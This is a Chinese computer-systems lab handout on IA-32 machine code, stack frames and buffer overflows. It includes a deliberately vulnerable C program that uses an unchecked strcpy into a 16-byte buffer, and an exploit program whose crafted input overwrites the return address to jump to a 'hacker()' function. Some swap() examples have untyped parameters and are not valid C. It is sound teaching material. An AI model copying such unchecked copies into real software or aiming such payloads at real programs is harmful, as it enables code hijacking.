

实验三 程序的机器级表示

实验内容：

- 1 C 语句与机器级指令的对应关系，IA-32 基本指令的执行；
- 2 C 语言程序中过程调用的执行过程和栈帧结构；
- 3 缓冲区溢出攻击。

实验目标：

- 1 掌握程序的机器级表示相关概念；
- 2 理解 C 语言程序对应机器级指令的执行和过程调用实现；
- 3 掌握程序的基本调试方法和相关实验工具的运用。

实验任务：

- 1 学习 MOOC 内容

<https://www.icourse163.org/learn/NJU-1449521162>

第四周 程序的机器级表示

第 4 讲 控制转移指令

第 5 讲 栈和过程调用

第 6 讲 缓冲区溢出

- 2 完成实验

2.1 C 语言程序如下，对程序代码进行反汇编，指出过程调用中相关语句，比较按值传递参数和按地址传递参数，画出过程调用中栈帧结构图，并给出解释说明。

```
#include <stdio.h>
```

```
int swap(*x, *y)
```

```
{  
    int t=*x;  
    *x=*y;  
    *y=t;  
}
```

```
void main()
```

```
{  
    int a=15, b=22;  
    swap(&a, &b);  
    printf("a=%d\tb=%d\n", a, b);  
}
```

```
#include <stdio.h>
```

```
int swap(x, y)
```

```
{  
    int t=x;  
    x=y;  
    y=t;  
}
```

```
void main()
```

```

{
    int a=15, b=22;
    swap(a, b);
    printf("a=%d\tb=%d\n", a, b);
}

```

2.2 编译执行如下 C 语言程序 (bug.c 和 hack.c)，指出该程序的漏洞，对程序代码进行反汇编，采用 gdb 跟踪程序执行，分析程序执行过程中的栈帧结构，改变 hack.c 程序代码中的输入字符串 code，使程序转到攻击函数 hacker() 执行。画出程序执行过程中的栈帧结构图，并给出解释说明。

C 语言程序 1: bug.c

```

#include <stdio.h>
#include "string.h"
void outputs(char *str)
{
    char buffer[16];
    strcpy(buffer, str);
    printf("%s\n", buffer);
}
void hacker(void)
{
    printf("being hacked \n");
}
int main(int argc, char *argv[])
{
    outputs(argv[1]);
    return;
}

```

C 语言程序 2: hack.c

```

#include <stdio.h>
char code[]="0123456789ABCDEFXXXX"
"\x11\x84\x04\x08"
"\x00";
int main(void)
{
    char *arg[3];
    arg[0]= "./bug";
    arg[1]=code;
    arg[2]=NULL;
    execve(arg[0], arg, NULL);
    return 0;
}

```

4 提交报告

实验报告（word 格式）、程序代码拷贝到一个文件夹中，命名为：

实验 n

其中， $n=1\cdots 6$ 为第 n 次实验

课程结束时，将这 6 个文件夹拷贝到同一个文件夹中，命名为如下格式：

班号-学号-姓名

以班为单位一起提交。